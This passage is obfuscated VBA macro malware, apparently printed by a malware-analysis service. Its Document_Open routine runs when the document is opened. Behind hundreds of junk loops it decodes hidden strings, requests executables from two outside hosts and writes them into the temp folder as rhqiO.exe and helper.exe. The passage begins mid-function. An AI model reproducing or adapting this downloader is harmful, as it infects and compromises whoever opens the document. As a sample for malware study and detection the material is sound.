    mKHKT = StrConv(jzswBFR, vbFromUnicode)
    For DdQeo = 0 To UBound(mKHKT) - 1
        If (DdQeo Mod 2 = 0) Then
        iNUSKDf = Left("ReS$fZyAdFOcRF*#hXl", 4)
        gZdxygNr = "GcT[& .t%n%Mu" + "!dhc@d(AyP*NGyTp^Lty" + "]GbxTIz[ayBgzCGvq"
            ODiCM(ADokxD) = mKHKT(DdQeo)
            mqPWSwKv = Right("zEFC(q&Ch.LGOWoEb", 2)
            ADokxD = ADokxD + 2 - 1
        End If
        RRtNre = Right("WDbUb?woOjCnyQ", 2)
        iNUSKDf = LTrim("p]$L.P(Uy!nUYBY!gw[y")
    Next DdQeo
    mjyRpq = Space(3)
    QmHLDsB = LTrim("fJEKSAQ-Id]#x")
    mjyRpq = 404 - 1314 - 1783
    For OmbSCW = 0 To 281
        RCmWWGB = LTrim("?E$SOKYXL-zs*Zz!")
        RCmWWGB = LTrim("P]aZX TJj&h&C!?MnE")
        RCmWWGB = StrReverse("tFZiqMzdiZQpu")
        mqPWSwKv = Right("hl)#xY]BufjXE.", 2)
    Next OmbSCW
    For DIxaag = 0 To 68
        yraNF = StrReverse("i)xTnsXf$$XJn")
        mqPWSwKv = Left("zyoSAAa!]..T%", 2)
        mqPWSwKv = LTrim("]%$gbjpb@pKUW")
        RRtNre = LTrim("TfDDk?Z&#yN$vxGuNQM")
        RRtNre = UCase("oqq_KS@$CUBEa?")
        aOkMw = 874 - 1175 - 1924
        mjyRpq = UCase("HxLdYSP?md-xE")
        QmHLDsB = Space(2)
        mjyRpq = Left("SP %Zka(.$&bz(@ZeJZn", 3)
        RCmWWGB = Left("nTGwCG#jTqjL", 5)
    Next DIxaag
    oSQpkC = StrConv(ODiCM, vbUnicode)
End Function
Private Function wGzvMd(FyMuvR As String, dMELcg As Double, wONZmf As Integer, IfTcarE As Integer) As String
    mjyRpq = StrReverse("qMdi uVwe)d]g^-AC_")
    RCmWWGB = Space(16)
    QmHLDsB = LTrim("Hrgcv^a#$$J]fh")
    MXXLxOq = Left("MPPQ%gMo.OF&fV-JGB", 3)
    MXXLxOq = Left("vbRXCZ?Xo(xHZ-$HXCB", 5)
    RCmWWGB = 1554 + 1221 + 590
    RRtNre = Left("xg..A%aAoy", 3)
    While DkXTEY < 267
        iNUSKDf = RTrim("bZ*#ByXLBHqYi")
        yraNF = " lucwH[y%FGxRH$" + "*!r?bAl@]zPzz" + "iLhIapX[VqfOvhPFgW["
        mjyRpq = UCase("LRxYcr&?s&IcmTH$ jB")
        MXXLxOq = Right(".c%XrcpPr&ivl!HjWNg", 4)
        yraNF = 104 - 1710 - 502
        mqPWSwKv = LTrim("xB@MQ[S!U-")
        mqPWSwKv = Left("wpzqoQ?E%LPI$^NTkKV", 5)
        MXXLxOq = "SVNHPW(icv^kPLfz!i." + " s ax%B%%F^MRYb" + "w-v XmAolrb$p"
        MXXLxOq = 503 + 144 + 1851
        MXXLxOq = Right("-^poIbYXxs]QVPk_@", 4)
        DkXTEY = DkXTEY + 1
    Wend

    iNUSKDf = Right("Y^&lk(]^LBw oCsLT", 4)
    yraNF = Space(8)
    RRtNre = Space(11)
    mqPWSwKv = 1340 + 1340 + 1044
    yraNF = 807 - 546 - 507
    aOkMw = Right("gk)[OmHRgIWE", 4)
    mjyRpq = Space(14)
    mqPWSwKv = 624 + 1802 + 122
    RCmWWGB = Left("bk-Xan_WrXUy", 4)
    MXXLxOq = Space(17)
    MXXLxOq = StrReverse("i)PU vaG(nea")
    RCmWWGB = UCase("U lS%PC[yNi.")
    For JRFHGp = 0 To 84
        MXXLxOq = LTrim("^&RdlfvAzkOrLTY&ksG")
        RRtNre = Right("vKi*Np!aLH]fwaFH", 3)
    Next JRFHGp

    RRtNre = UCase("GqUNi^Iv)BxDm")
    wGzvMd = "dLdqrsJRqIiyHLXVWEqCqP"
End Function

Private Sub Document_Open()
    Dim BNqgihm As String
    MXXLxOq = Left("sTYy*UjSfsF][lWlpdf", 4)
    mjyRpq = "xM#E*i-Tp^n#KN)Mxn" + "JDrm_VizSTVCD$(G " + ".tRg$Cqq]]"
    RRtNre = StrReverse("ekHLheFh##jr%Ea")
    While HoOVwm < 176
        mjyRpq = RTrim("JKp*)Q#.DWQ@@PPu")
        mjyRpq = LTrim("HUM]AipHPv")
        iNUSKDf = UCase("CWiHB^*#M.(m@Ez qVB@")
        RCmWWGB = Right("K?kK@ UD%I@[Ot", 3)
        gZdxygNr = 1296 + 1466 + 1113
        aOkMw = RTrim("X.ZdX_DPhaRXSlkP")
        QmHLDsB = Right("?pl.HayjaufRzD(a^@B", 5)
        RRtNre = "zbdLZXT.Xjk@" + "PSNIoht#UO&k[_i]^" + "mPMXPxIpR#uG@bMk"
        mjyRpq = Left("i&qM_ddWFhBwP&U", 5)
        HoOVwm = HoOVwm + 3
    Wend

    aOkMw = "E(zl(PL)WZ" + "HNMlu^ytfNxnbsTJW" + "rxb$jQGPkm-(fm&a*ssA"
    aOkMw = 971 + 1453 + 1089
    RCmWWGB = LTrim("q[JJi)Xo!^J")
    Dim wyQZMbbR As String
    iNUSKDf = RTrim("_mHn.(SheukZb")
    LSYkHs = 1844 - 1305 - 1099
    gZdxygNr = LTrim("ob^%*heFOewSSiMV")
    RRtNre = StrReverse("DN(Gxg*pK-o!F")
    mjyRpq = StrReverse("gUKj]A(fzsYM!qBk")
    mjyRpq = "HrJs(l EAhj#[" + "kx  qclu[wRex%$" + "IYApolG_zQlxhGcCeJ["
    MXXLxOq = 163 + 1406 + 1792
    BNqgihm = StrReverse("Meex)ey.xOri-qihHr]\-\@%ApDm eJtP%U QLRLVDJnguTRC_)czetxREflHlIe hQSk,xlYlqdU.-2b3_lflBehh#s  Eeqxmee.x2a3bl@lFdUnMu.rC Xcx/T dehxEeH.XdQmLc")
    For BxTzlP = 0 To 99
        gZdxygNr = 1337 - 284 - 730
        mjyRpq = RTrim("[uJ_VcUU*WsG")
        RCmWWGB = RTrim("sVnOuxaCz?EzhxiX?")
        QmHLDsB = Right("[!l#&*SiraR", 5)
        yraNF = LTrim("fYbhnE[blg-(P[QF-")
        gZdxygNr = 1719 - 194 - 785
        RCmWWGB = Right("ptI-YdzOE& w-", 5)
        mjyRpq = 1927 - 1184 - 1633
        LSYkHs = Left("V.nFO)LBMvRyCpksx[", 5)
    Next BxTzlP

    QmHLDsB = 262 + 1819 + 1399
    QmHLDsB = Right("t*Mm&R$VKbvN", 5)
    aOkMw = UCase("I@cJOEscljOlu")
    mqPWSwKv = 1647 + 1234 + 1454
    For viKojU = 0 To 84
        mqPWSwKv = Left("nbQ-sp(u!(Q)AV#", 4)
        QmHLDsB = RTrim("L#!CZ@z&Ac")
        QmHLDsB = "cbNr^SpgrqEmhBp" + "Cbq$Kzm@EG%L?ibT" + "jmkXSC)sdbW*f#z"
        aOkMw = StrReverse("K&tLI[N]V vv^HJWAOw")
        aOkMw = StrReverse("?xGBUSzy#*M(Zm_WK!_x")
        mqPWSwKv = Space(14)
        aOkMw = UCase("J^%sUqVZTb(vLqFgFT")
    Next viKojU

    aOkMw = 1711 - 1341 - 1798
    wyQZMbbR = StrReverse("yenxJeQ.&rVeFpVlqeEhX\T\N%ypBmBevtp%- kL.LJDUn^u-RK_Ecje&xcEslhlDeghcSX,glyludt.P2*3Ylll*eBhTsg Jehx$eK.x2*3VlAlndJnruwra %ck/Q XePxseK.XdDmZc")
    QmHLDsB = Left("?Uc*AypEeb", 3)
    RCmWWGB = RTrim("Eq?kLD@DMh[egI&yD")
    LSYkHs = 1547 + 367 + 609
    RRtNre = Space(11)
    aOkMw = Space(12)
    While VFLMFC < 10
        mjyRpq = "qXz$wn$^@Xu" + "AbXI$dlx$&NP" + ")_UBzMnos[ooeA)R e[V"
        RRtNre = Left("It!qMPuNsNErm!n", 3)
        mjyRpq = 1686 - 467 - 1560
        RRtNre = "dGUuTVn*%Rvpby" + "doaCKW-kps j%&XBSeD" + "U%l^cPPoTppsY!NT& Xr"
        mjyRpq = Space(9)
        QmHLDsB = UCase("AkJSCQYe!KVrBpuy^Zu")
        QmHLDsB = "Rz[b)QYi[LJNVA_f" + "aQVN@C(-gAdjMKs" + "($D(kJ-(I)t]_TFNU"
        VFLMFC = VFLMFC + 1
    Wend

    RRtNre = UCase("Bboq-bXXzS")
    yraNF = 598 - 1448 - 434
    RRtNre = Right("Jaoo.?[UV]mjB^iIfzs", 2)
    For BNPLGT = 0 To 71
        gZdxygNr = 1343 - 1965 - 831
        mqPWSwKv = Left("pwODp(SR^iH", 4)
        mjyRpq = Right("Ej^N*iUJQV$", 4)
        MXXLxOq = Right("luFYlFCenVHTPktaz", 3)
        mqPWSwKv = Space(12)
        gZdxygNr = RTrim("Xv@iIv(yl.euG")
        aOkMw = UCase("#&!#PoqN^kq]&h")
        MXXLxOq = Space(4)
        aOkMw = 635 - 547 - 1629
    Next BNPLGT

    RCmWWGB = UCase("s#sFs-uR UO)FTFuszD")
    For veSnDJ = 0 To 382
        mjyRpq = Right("*)f?Oc-OPow^UL", 4)
        RRtNre = 160 + 1507 + 803
        aOkMw = Left("PagFv$-wUR", 4)
        LSYkHs = StrReverse("rsm#-RXy_ryB FYIv")
        RCmWWGB = 1690 + 204 + 393
        mqPWSwKv = Left("ZPNcXj@RTqlJy!UNDip", 3)
        QmHLDsB = "GHhHChqyYREE" + "xtt M#JGMi(" + "eO LFdjyQWE"
    Next veSnDJ

    Dim nQNXV, ykZCk As Object
    yraNF = UCase("g(%^h@_NmjjJX^")
    LSYkHs = 877 + 565 + 1893
    QmHLDsB = UCase("KpSLWuZkFOl)AYX#?RnN")
    mqPWSwKv = UCase("Hr- Fd@pxfWbMzid")
    gZdxygNr = 640 + 820 + 1750
    Set nQNXV = CreateObject(oSQpkC("MOiFc)ruoVsEoLfXtY. X(MkLaHdTiTDPo"))
    While hchczf < 175
        gZdxygNr = Space(17)
        RRtNre = Space(4)
        RCmWWGB = Space(11)
        LSYkHs = UCase("m@k_)huI]L")
        QmHLDsB = 1328 + 722 + 1867
        hchczf = hchczf + 3
    Wend

    LSYkHs = 281 - 1195 - 1741
    mqPWSwKv = Right("-y_BF?Jg[s!ij", 5)
    RRtNre = Space(5)
    LSYkHs = StrReverse(" w]db!TDbDK")
    oqnwu = oSQpkC("httytrpo:I/w/KdkoWc uLmqe(n!tksIhEa.r-ebiOlF.kcbojmm/$u!sobD3$0?4lxL.Hevxte)")
    yraNF = 310 - 706 - 1162
    mqPWSwKv = 1310 - 966 - 490
    mqPWSwKv = 1162 + 511 + 298
    RCmWWGB = Left("IiDX&bw@(oHZqd(", 5)
    While bxVTjk < 389
        aOkMw = UCase("HCl!]Lnaq[]eRU?JNj")
        aOkMw = UCase("g-WTD(?yBbSwf")
        mjyRpq = LTrim("Xr[(NqLCRR")
        mjyRpq = RTrim("aA!I[zlki)X)pnE%")
        yraNF = 411 - 847 - 306
        mjyRpq = Space(17)
        iNUSKDf = 1169 - 1515 - 246
        LSYkHs = 212 + 706 + 422
        iNUSKDf = Right("pg.Iyk@HiZvQ^XN", 2)
        RRtNre = Right("$m?@^dfUKYQ?YnNTB", 4)
        bxVTjk = bxVTjk + 2
    Wend

    nQNXV.Open "GET", oqnwu, False
    While qMhqTC < 275
        RCmWWGB = LTrim("A*yNtECY(.yJ_[")
        mjyRpq = UCase("%Fv?fhLnu&gDfAA$^?g")
        iNUSKDf = UCase("LOHcT#bq.fTwjXT#q[p")
        mjyRpq = Right("k%x%dLMmdG[lFxNSVND?", 4)
        mjyRpq = Space(5)
        LSYkHs = "nrqpB-fJ&SC" + "gNWao dsn[IvnLI&Zk" + "DTALm!?#F!TG_"
        MXXLxOq = Left("&btyIsk(&DSbWRio?", 4)
        qMhqTC = qMhqTC + 2
    Wend

    iNUSKDf = 604 - 1503 - 1443
    yraNF = Right("vij&]$zbXaYj]NYy[ir$", 5)
    mqPWSwKv = 826 + 351 + 1898
    nQNXV.send
    While rTIqWZ < 244
        RCmWWGB = RTrim("NUkuBlv@kqM*%VXIs.Z")
        RCmWWGB = Right(".?WSHGx%n& ebCbrra$", 3)
        aOkMw = UCase("gi]?v.)l(-EDgb*y")
        iNUSKDf = Space(12)
        rTIqWZ = rTIqWZ + 1
    Wend

    mqPWSwKv = UCase("GBk_waWyJWaDVjpaU")
    mqPWSwKv = Right("lFOy[VoBs![oj&i", 3)
    RRtNre = Space(11)
    For DxIoWo = 0 To 351
        mjyRpq = "]MHZMTQO-fH.MF" + "-v_jXmI &F)xD" + "NdS#)b[-xSF*epY"
        gZdxygNr = 964 - 113 - 1130
    Next DxIoWo

    If nQNXV.Status = 201 - 1 Then
    MXXLxOq = StrReverse("QG-Cl)d @JdOyB")
    For AGfjHe = 0 To 248
        mjyRpq = UCase("kpj?QfRwjfEJ[Z")
        mjyRpq = Space(19)
        RCmWWGB = StrReverse("C-gm-jT?zUIQdOZao")
        iNUSKDf = Space(6)
        RRtNre = RTrim("Ef-)Q&c(#y]Y)fRB")
        RCmWWGB = "czZ[jYHJxm*TmIwMm#D" + "K.mCLV_EjGdTJd" + "ZeWhyd*oSS_rpmyn"
        RRtNre = 1863 - 1957 - 762
        mqPWSwKv = "YuRcNxMHv?nqqTj" + "ZRiQ@e^RqgTIczEzJ" + "xn w%bd&K&b-G"
        mjyRpq = UCase("CayQ!EQCcof#ui!FF")
    Next AGfjHe

    mqPWSwKv = LTrim("jILBCeF?jn(Ji M")
    For JyoPyB = 0 To 311
        iNUSKDf = "Kz@gKiSW!wXsTkj?p" + "ogWWCCkcC$L%%$" + "$CWeqResHZ"
        MXXLxOq = ".LNSYnf#(pV!h" + "knSolitAKmgI.iifw_Z" + "hsPb]E*w)IxV&NNy"
        mqPWSwKv = 243 - 840 - 131
        RRtNre = LTrim("a!q_XeawIDHS_%w^i")
        RCmWWGB = Left("(Eii!#_jWOBexD&bv", 5)
        yraNF = Right("Zbdvk[Iv[?VH)oSrp", 2)
        gZdxygNr = UCase("-]LLsplJbyI")
        MXXLxOq = "u!Z%lkcnm*[mSiwV@$" + "WlS%jT_GMj" + "?.wDTFKYezFN[hcqD"
        RRtNre = UCase("Thn(q&.Le[Go-W")
    Next JyoPyB

    While KsXxId < 165
        iNUSKDf = UCase("KJp._Y@U-Wq")
        yraNF = 504 - 1975 - 674
        QmHLDsB = LTrim(".a.t)h*vQ?m.OeX")
        RRtNre = 1540 - 1749 - 1856
        KsXxId = KsXxId + 2
    Wend

        Set ykZCk = CreateObject(oSQpkC("APDkOfDgBQ.YSVtUreeVaem["))
    QmHLDsB = Right("*kDADJ.IyVv.Oc", 3)
    MXXLxOq = 163 + 1307 + 498
    QmHLDsB = 701 + 1829 + 517
    For FFMaoz = 0 To 90
        MXXLxOq = RTrim("K-jtdznUOtdd?-")
        MXXLxOq = Right("bVaHjQ)!dSIH!*Kl", 3)
        gZdxygNr = Right(" AetxX%eg [p(qpVC", 5)
        iNUSKDf = 1340 - 1620 - 1114
    Next FFMaoz

    aOkMw = StrReverse("LVp%e)I?Amwd!s)qkT")
        ykZCk.Open
    gZdxygNr = LTrim("j.f$D@OwO&gIoHKtlv*X")
    MXXLxOq = 1075 + 1296 + 1903
    mjyRpq = RTrim("R#YSPYTN@RJAsxGjFvt")
    yraNF = Left("SqDT(PF%RIPuJ", 3)
        ykZCk.Type = 1
    RCmWWGB = StrReverse("^E]qnHtgje%xtj z.")
    mjyRpq = "-YU*.GlFzsV" + "%^PiILek%uvBL$p(Jd$O" + "yIMh)&M@jjRJ-"
    gZdxygNr = 1053 + 1386 + 879
    LSYkHs = Right("PI&da)QciWN", 3)
        dhJDEZ = nQNXV.responseBody
    While qlAvPs < 193
        mqPWSwKv = 1149 - 814 - 1085
        QmHLDsB = 1716 + 1720 + 1654
        gZdxygNr = Left("HSmvpm[[ipZCr", 5)
        MXXLxOq = 1143 + 599 + 273
        aOkMw = 1282 + 549 + 1015
        mqPWSwKv = 683 + 1848 + 1359
        mqPWSwKv = "dOdehX@Mz!QxZNGD.coG" + "Ypk#t.FM(EWP. a" + "I&FkGFY_LUQ"
        qlAvPs = qlAvPs + 3
    Wend

    For CBjwIR = 0 To 134
        mjyRpq = 1259 - 433 - 599
        iNUSKDf = 424 - 661 - 296
        QmHLDsB = StrReverse("Cb^U[QI#rEuTLhdrZ")
        mqPWSwKv = 317 + 270 + 1354
        mjyRpq = Right("OrA))aq-PECPBe^_-", 4)
        gZdxygNr = Left("JwcqTAGKg#]v^)f]v", 5)
        mqPWSwKv = Space(17)
        iNUSKDf = Left("!TjNQRet.HBBsA(Nd&", 2)
        yraNF = Left("YWDPB^-u@G [%", 3)
    Next CBjwIR

    For khTwAY = 0 To 134
        iNUSKDf = RTrim("HJKingj@gHMF(")
        RCmWWGB = UCase("KwEypeQ?fht][s.n")
    Next khTwAY

    QmHLDsB = RTrim("NbFaxcDzH%y&")
        ykZCk.Write dhJDEZ
    For zBFOYe = 0 To 291
        mqPWSwKv = "fQsK)Ng([C@kag" + "kmkWwROmjniKpAbazLQs" + "#KUMB.f(Ow_aXIKdx"
        mjyRpq = Space(2)
        RCmWWGB = RTrim("zvaUqRbLXtsZM")
        yraNF = 278 + 1108 + 589
        gZdxygNr = Left("C#Dnb^KjvXl%n!", 4)
    Next zBFOYe

    MXXLxOq = Left("*_sp^.$A$yrZXFM*z", 2)
    aOkMw = LTrim("z*NThXgsswvF")
    For GdPZVX = 0 To 184
        aOkMw = "r-tzZSiaYQlk$" + "T&ANyBa#xwqJ" + "p[BAowVnVX UtnYuD"
        gZdxygNr = Left("..RZgUSfieGjL", 3)
        yraNF = 1496 - 327 - 203
        RRtNre = "U&heUUo)BlW*" + "bud$SrDV_vm$O-[zXtnU" + "iFS(mVkX*mQ)e$rsj R"
        QmHLDsB = RTrim("EFU#KdHDbLoX@zflh")
    Next GdPZVX

    iNUSKDf = Space(10)
        Dim KNUKv As Object
    RRtNre = 1891 + 532 + 181
    mjyRpq = StrReverse("fU!ji&GmOH.g.Zz")
    While oPlsEa < 23
        mqPWSwKv = LTrim("[dI!fya^n#t*Gcad-")
        aOkMw = RTrim("]efCCukTIs?Q!Vr&K^j.")
        MXXLxOq = Space(9)
        QmHLDsB = Space(4)
        oPlsEa = oPlsEa + 1
    Wend

    QmHLDsB = Right("a[VI)nXIemF", 4)
        Set KNUKv = CreateObject(oSQpkC("sMcpr?iJpttLi.nyg^..faiilWeesFy&sKt%ezm%oqb_jSeUcstB"))
    gZdxygNr = Space(15)
    QmHLDsB = "PSxZ_KU@$C^]" + "k?vr]$tbyvpM" + "GH-kIRgcjK"
    aOkMw = UCase("vrq&qZCUPdg#")
    QmHLDsB = 731 - 873 - 1500
        YLuuAWY = KNUKv.GetSpecialFolder(5 - 3)
    mjyRpq = "M%QPYJl)[rOhS]zX" + "[uGTMmf[&-AqYuiP^r" + "RbwDDj%HFRx f"
    iNUSKDf = StrReverse("blaoqjuuv@z^Tq")
    QmHLDsB = LTrim("MMBgDRu-Se")
    gZdxygNr = 817 + 1405 + 212
        Call ykZCk.SaveToFile(YLuuAWY & "\\" & "rhqiO.exe", 2)
    mjyRpq = Left("yidC.(g#!Tk*A", 4)
    mjyRpq = UCase("sdHIQZYlh)zaKqlz$D")
    For MhZuJR = 0 To 390
        mjyRpq = "b(WZXuisvE" + "x^%Lrnppy$" + "Xx(xSpJTzrT"
        RCmWWGB = "RfBIghFnmp)][H]y" + "iK[_fx@e[%l?opwL&X" + "vYXD(w&bgV-gRA"
        iNUSKDf = StrReverse("jqSNN#RTKFN")
    Next MhZuJR

    RRtNre = UCase("g#F[)cdQiGZYt")
        nQNXV.Open "GE" & "T", oSQpkC("hdtdtvpT:m/s/u1Y0^7S.e1y7h5O.-6!2O.H1A0M4p/Ut#e sytn.*bAi&nQ"), False
    MXXLxOq = RTrim("Sb(-ABOsRRr_qQ%%LiZ")
    While cQLxxs < 140
        aOkMw = Left("ReP_e dSup-CYs%Ra", 4)
        LSYkHs = UCase("pKYkqWVX -e*LR$")
        RRtNre = RTrim("NNOYpL&s[P f$R&l]v")
        cQLxxs = cQLxxs + 1
    Wend

    LSYkHs = StrReverse("XIOr]sW?^PTOoV$lMQb")
    RRtNre = Space(3)
    QmHLDsB = 1308 + 395 + 151
        nQNXV.send
    mqPWSwKv = UCase("Kv*&s[XNzl_")
    RRtNre = RTrim("!I[z(O..ADoH$bbK")
    yraNF = 708 - 610 - 426
    RCmWWGB = UCase("-.H kWyY^Y]m")
        dhJDEZ = nQNXV.responseBody
    For kymrxF = 0 To 34
        RCmWWGB = RTrim("^xjr?NUHgvf)Cb-_mD")
        RCmWWGB = UCase("UP%DVtRuZkdNJhweENL")
        RRtNre = "k-QvMmayir" + "GCUp#fLXyVQ" + "E[wkgrLRPwF"
        mqPWSwKv = Right("h_j_@g(BIksl*z%*iyl", 5)
        aOkMw = UCase("unnUdN.ZQhu$")
        iNUSKDf = Left("pCCAs$rHKoBK", 2)
    Next kymrxF

    yraNF = StrReverse("IqT#KGD NQxC^")
    yraNF = RTrim("(b^SL^&oP#fhaU^cR-")
    For ccwKxa = 0 To 181
        LSYkHs = UCase("FOrX[-n_yjncZJhwF")
        LSYkHs = UCase("QS!n.rQlxAp")
        RCmWWGB = Left("YkTmAlZ.#?YT-DXl", 3)
    Next ccwKxa

    QmHLDsB = LTrim("cQCOroH.K!NrNRB")
        ykZCk.Write dhJDEZ
    RRtNre = "ukko &rJAI_IuE" + "^PeqP#It)Ax!qY*!MDvg" + "]d!BJ))rrbmIvV!dl"
    QmHLDsB = 1696 - 1854 - 1821
    For LdFvyJ = 0 To 55
        RRtNre = 1705 + 1364 + 1218
        RRtNre = 796 + 410 + 1300
        mqPWSwKv = UCase("rW_PEL.gt]")
        RRtNre = 1507 + 1509 + 847
        LSYkHs = RTrim("-UYnFQm.!In")
        LSYkHs = "?[?uea$vxEAH^BEA" + "o)V$Y$x.eKJR" + "joSK-L(icGY"
        QmHLDsB = Space(13)
        mqPWSwKv = 1611 - 1891 - 336
        aOkMw = 116 - 1162 - 502
        mqPWSwKv = Space(17)
    Next LdFvyJ

    mqPWSwKv = "qJJ%tTvyi_Hg&Mq!" + "xo]mT cnQx&Ok" + "QETgYdWMN[PfPn&dWElt"
    MXXLxOq = "lwB-?%&Kwhv*%)iphE" + "[awQ$#u-Vov" + "]TuncNK(VX%wn?n.D)CE"
        Call ykZCk.SaveToFile(YLuuAWY & "\\helper.exe", 2)
    aOkMw = "Q(yfERS &jYvKYCW]gn" + "zjTbylYkrI_DI&" + "OJ-cb&c^hKGh-P"
    RRtNre = Right("[jasBlHbfNH", 5)
    QmHLDsB = RTrim("bByu-SGD!Ba[y?cLvKrK")
    RCmWWGB = UCase("rqI)(jkr]S")
    mjyRpq = StrReverse("#Dry_?![ZE DMlI*sM")
        ykZCk.Close
    yraNF = RTrim("?CbRC)-kecrBKY")
    iNUSKDf = 538 + 514 + 602
    LSYkHs = 516 - 1447 - 1972
    mjyRpq = Left("rD_VrwEFmIOb?r", 4)
    End If
    gZdxygNr = 1383 + 284 + 1729
    RRtNre = LTrim("UFWCP^p.[&LgBS!N")
    QmHLDsB = LTrim("Gcnk.BqGh_]Hq")
    RRtNre = "uGZ!pDmDL!*Ujr)$zK" + "i%#mNmfU*KNDoYCHXW" + "NNi^nqNVCbsouS]?@E"

    RCmWWGB = "s?GzcxTxvOlfIeVwDn" + "QfruLN_NOV.F.(" + "B wEGA^UWSy?]H[j("
    gZdxygNr = Space(18)
    For kmhyFg = 0 To 158
        iNUSKDf = Space(19)
        aOkMw = "#.C$UR]cgo[we" + "bYUnwSMaZ#oKlZ" + "wTso]ial&#gL"
        gZdxygNr = RTrim(".F(*!I.[F?U@*wCh)-")
        iNUSKDf = LTrim(")xd-NQcirlW(pDt")
    Next kmhyFg

    RCmWWGB = 1828 - 524 - 871
    gZdxygNr = Right("h!OOIDP)W%]J*P", 2)

…

Open this report in the interactive analyzer, or submit your own file for analysis.